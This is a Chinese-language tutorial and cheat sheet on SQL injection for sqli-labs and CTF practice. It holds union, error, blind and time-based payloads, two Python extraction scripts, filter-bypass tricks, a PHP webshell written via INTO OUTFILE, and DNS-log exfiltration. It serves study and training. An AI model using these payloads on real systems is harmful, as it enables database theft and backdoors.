sql注入

一.什么是注入

所谓SQL注入,就是通过把SQL命令插入到WEB表单提交或输入域名或页面请求的查询字符串,最终到达欺骗服务器执行恶意的SQL命令,从而进一步得到相应的数据信息。通过构造一条精巧的语句,来查询到想要得到的信息。

二.常规注入步骤

1.判断注入点类型

提交and 1=1和and 1=2,如果两个都能正常显示则为字符型注入,如果1=2无法正常显示则为数字型注入

还有一种判断方法是使用2-1,看页面是否正常显示,数字型可以计算2-1所以会正常显示,字符型会报错(这种方法的优点是绕过对=号的检查)

确定是字符型后需要尝试闭合查询语句,例如),',",可以根据报错语句闭合,然后在最后加上#或–+注释掉之后的语句,正确的闭合方式表现为:加注释之前为错误界面,加注释符之后为正确页面

2.判断列数

二分法判断列数,?id=1 group by 5?id=1 order by 5,如果到某个数字恰好页面能正常显示,那么可以确定列数

3.union联合注入

根据2拿到的列数构造查询语句(注:把id改成0、-1)
?id=-1 union select 1,2,3--+
看回显的位置,按照查库–>表–>列的顺序找到数据
(1)查库:3 ->database()
(2)查表:3 ->(group_concat(table_name) from information_schema.tables where table_schema=database())
(3)查列:3 ->(group_concat(column_name)) from information_schema.columns where table_schema=database() and table_name=’users’)
(4)查数据:3 ->(select group_concat(username,password) from users)

注:最好用括号把语句括起来,提升优先级

三.非常规注入

1.报错注入(适用于无回显,但是报错正常回显)

三大常见报错注入:floor(),extractValue(),updateXml()

(1)extractValue()函数
原本用法:select extractvalue(doc,'/book/author/surname') from xml从xml查询文件
利用方法:?id=1" and(select extractvalue(1,concat(0x7e,(select database()))))--+

1' and (select extractvalue(1,concat(0x7e,(select substring(group_concat(username,password),1,30) from users))))--+
substring函数可以实现截取

limit不能和group_concat一起用

0x7e是波浪号的16进制,把/换成~引起报错
doc可以任意写,不影响
注入时只需要将注入点替换为select查询语句(select执行的语句必须加括号)
注:这种方法最多同时显示32个字符,使用substring函数截取。substring(查询结果,从m显示,显示n个)

(2)updatexml()函数
原本用法:UPDATEXML(xml_target, xpath_expr, new_val)替换xml文档内容
利用方法:同上,更改path的第一个字符为~
其他两个参数无影响

?id=1" and (select updatexml(1,concat(0x23,(select database())),0x23))--+

(3)floor()函数
使用函数介绍:rand()生成一个0-1的小数,floor()小数向下取整,concat_ws()将括号内的数据用一个字段连接,as起别名,count():汇总统计数量,limit显示指定行数如limit 0,1从0行开始显示一行

select count(*),concat_ws('-',($注入点),floor(rand(0)*2)) as a from information_shcema.tables group by a;

报错原因:rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复

2.bool盲注(适用于无回显,不报错,但是页面能反映出真假)

函数简介:ascii()转换字母为ascii码
原理:利用substr()截取字符串的每一个字符,转换成ascii码进行比较,如果对了则页面为true


这里使用了limit 0,1来保证每次只查询一个表的名字
改变substr()里的内容即可注入

可以看到,布尔盲注的人工查询效率很低,因此可以编写一个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time

requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False
flag = 'You are in...' # 根据返回页面的特征值来判断是否注入成功,先改这里!
def getName(url):
DBName = ''
print("开始获取长度...")
len = 0
for l in range(1,99):
time.sleep(0.06)
payload = f"' and length((select database()))={l}--+" # 获取数据库名长度,可以更改为查表名长度,字段长度等
res = conn.get(url=url+payload) # 发送请求
if flag in res.content.decode("utf-8"): # 判断是否成功
print("数据库名长度为:"+str(l))
len = l
break
print("开始获取名...")
for i in range(1, len+1):
for j in range(33,127):
time.sleep(0.06)
payload = f"' and ascii(substr((select database()),{i},1))={j}--+" # 获取数据库名,可以更改为查表名,字段名等
res = conn.get(url=url+payload)
if flag in res.content.decode("utf-8"): # 判断是否成功
DBName += chr(j)
print(DBName)
break
return DBName

if __name__ == '__main__':
url="http://127.0.0.1/sqli-labs/Less-5/?id=1" #目标url
print(getName(url)) #调用函数

3.时间盲注(适用于页面无任何变化,页面响应时间不同)

本质上是通过时间判断布尔的真假
sleep()函数,休眠
if(1,2,3)函数,1为条件,当条件为真2执行,否则3执行
payload:?id=-1 || if(ascii(substr(查询语句,i,j))>100,sleep(0),sleep(3))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time

url = "http://210.30.97.133:10168/login"
flag = ""
for i in range(1, 300):
time.sleep(0.06)
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr((database()),{i},1))>{mid},sleep(1),0)--+"
temp = {"username": "admin", "password": payload}
start_time = time.time()
response = requests.post(url=url, data=temp)
end_time = time.time()
if end_time - start_time > 2:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
flag += chr(mid)
print(flag)

print(flag)

这个脚本使用了二分法提高查找效率

4.文件上传

前提:在sql命令行中输入show variables like '%secure%',显示的secure_file_priv为空,则可以任意读写文件
一句话木马:<?php @eval($_POST['cmd']);?>
payload:union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "路径"#

select "<?php @eval($_POST[1]);?>" into outfile "/var/www/html/1.php"

之后使用蚁剑连接

注意:路径的/要\\替换

5.dnslog注入

前提:读写权限打开
load_file()函数:参数为UNC路径 -> /servername/sharename/filename
payload:select load_file(//(注入点).192.0.0.1/123/1.txt)
使用https://dnslog.org/可以拿到dns域名,我们采用注入点.域名的方式可以在这两个网站拿到注入结果

注入点:select database()…..

完整payload:?id=1 and (select load_file(concat(“//“,(注入点),”.域名/ben.txt”))) #
使用concat防止双引号影响命令执行

6.报头注入

U-Agent注入

Referer注入

Cookie注入

?id=1’ and extractValue(1,concat(0x7e,(database()))) and ‘

7.堆叠注入

主站ez_sql 过滤了select和.
?inject=1’;show databases;#

?inject=1;show tables;#

?inject=1;show columns from `1919810931114514`;# 反单引号括住

?id=1’;insert into users(id,username,password) values (‘38’,’less38’,’hello’)–+
#向数据表插入自己的账户密码

查数据的时候由于不能用select

方法一:MySQL中查询语句handler:

  1. handler 【表名】 open; // 打开某个表
  2. handler 【表名】 read first || next; // 读取表里第一行或者下一行的数据
  3. handler 【表名】 close; // 关闭该表
1
2
3
handler `1919810931114514` open;
handler `1919810931114514` read first;
handler `1919810931114514` close;

方法二:

  1. PREPARE 【自定义名】 FROM 【自定义的SQL查询语句】;//生成
  2. EXECUTE 【自定义名】;//执行
  3. DEALLOCATE PREPARE 【自定义名】;//释放

由于select被过滤,concat绕过

1
2
3
PREPARE Hack_SQL from concat('s','elect', ' * from `1919810931114514` ');
EXECUTE Hack_SQL;
DEALLOCATE PREPARE Hack_SQL;

或者ascii编码

1
2
3
PREPARE Hack_SQL from concat(char(115,101,108,101,99,116), ' * from `1919810931114514`');
EXECUTE Hack_SQL;
DEALLOCATE PREPARE Hack_SQL;#

方法三

由于前端提供查询的数据库为words,但是flag在数据库1919810931114514里。并且可以猜测后台的SQL查询语句为:select * from words where id=【你输入的id】

1.所以我们需要先将数据库words改成其它的数据库名
2.再把数据库1919810931114514改名为words
3.并且把(改名前)1919810931114514数据库的字段flag改名成id

payload

1
2
3
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);

改完之后输入?inject=1’ or 1=1; 显示flag

1
2
3
4
array(1) {
[0]=>
string(42) "flag{590b74d2-2d4d-41f7-bb0e-137622e5043b}"
}

四.常见绕过

1.过滤注释符绕过

(1)# –+ %23 less23

(2)手动闭合
select * from users WHERE id=’1’ and 1=1’’ LIMIT 0,1
1' and 1=1'闭合了后面的引号
?id=1')(' ->不能正常显示
?id=1') or ('1')(' ->因为1的存在正常显示
?id=1' order by 3 or '1'='1

2.and/or绕过 less25

(1)大小写绕过 anD
(2)复写过滤字段 anandd
(3)&&,|| 需要url编码

注意information里也有or

3.空格绕过less27

(1)”+”绕过
(2)%20 %0A %A0 %0C
(3)/**/ or /*/**/*/
(4)报错注入无空格 ->?id=1'||extractvalue(1,concat('$',(database())))||'1'='1

4.逗号过滤

join … on …

select u.e. from users u(起别名) join emails e on u.id=e.id;
等价于select u.,e. from users u(起别名) , emails e where u.id=e.id;

在判断完列数之后,union select * from (select 1)a JOIN (select 2)b JOIN (select 3)c;
效果与union select * from 1,2,3相同

5.union select绕过less27

(1)大小写绕过
(2)复写绕过
(3)中间加/**/
(4)采用其他方法

6.宽字节绕过less32

addslashes()函数让我们的引号失去作用

要求:数据库GBK编码
我们写入%df能够和(%5c)组成一个gbk编码(%df%5c),对应一个汉字

数据库会忽略掉这个汉字,从而注入

7.注释绕过

/*xxx*/ 注释
/*!xxxx*/ xxx会执行
/*!90000xxxx*/ php高于9版本才执行(没有高于9的版本,不会执行)

union /*!90000xxxx*/ select 绕过
database(/*!90000xxxx*/) 绕过

五.tips

当语句报错或者页面无法正常显示时,检查

1.加括号

2.加分号

3.数字打头的字段要加反引号

4.改变id=0/-1/2/3……

六、奇技淫巧

使用benchmark(500000,md5('test')进行延时

id=1'/**/or/**/if(2>1,(select/**/benchmark(500000,md5('test'))),1)='1

1
2
3
4
5
"id":f"0'/**/or/**/if(ascii(substr((select/**/group_concat(a)/**/from/**/(select/**/(1)a/**/union/**/select/**/*/**/from/**/ctftraining.flag)d),{i},1))>{mid},(select/**/benchmark(500000,md5('test'))),0)='1"
#不用查列名了!
"id":f"1'/**/or/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='ctftraining'),{i},1))>{mid},(select/**/benchmark(500000,md5('test'))),0)='1"

"id":f"1'/**/or/**/if(ascii(substr((select/**/group_concat(database_name)/**/from/**/mysql.innodb_table_stats),{i},1))>{mid},(select/**/benchmark(500000,md5('test'))),0)='1"

select (1) a的意思是从数据库中选择一个常量值 1,并将其命名为 a。执行这个查询后,结果集将包含一列,列名为 a,且该列的值为 1

堆叠注入原理利用

[SUBCTF 2019] EasySQL

查询的语句

select $_POST['query']||flag from Flag;

||起的作用是或,有1为1,但是flag是字符串相当于0

传入payload:select *,1||flag from Flag;

让||的作用被1抵消即可(任何数字均可)

第二种解法:

sql_mode中的PIPES_AS_CONCAT:

将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似

sql中的set可以更改这一变量

1;set sql_mode=PIPES_AS_CONCAT;select 1

select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag

||变成拼接作用返回flag

https://blog.csdn.net/JesseYoung/article/details/40779631

https://www.cnblogs.com/clschao/articles/9962347.html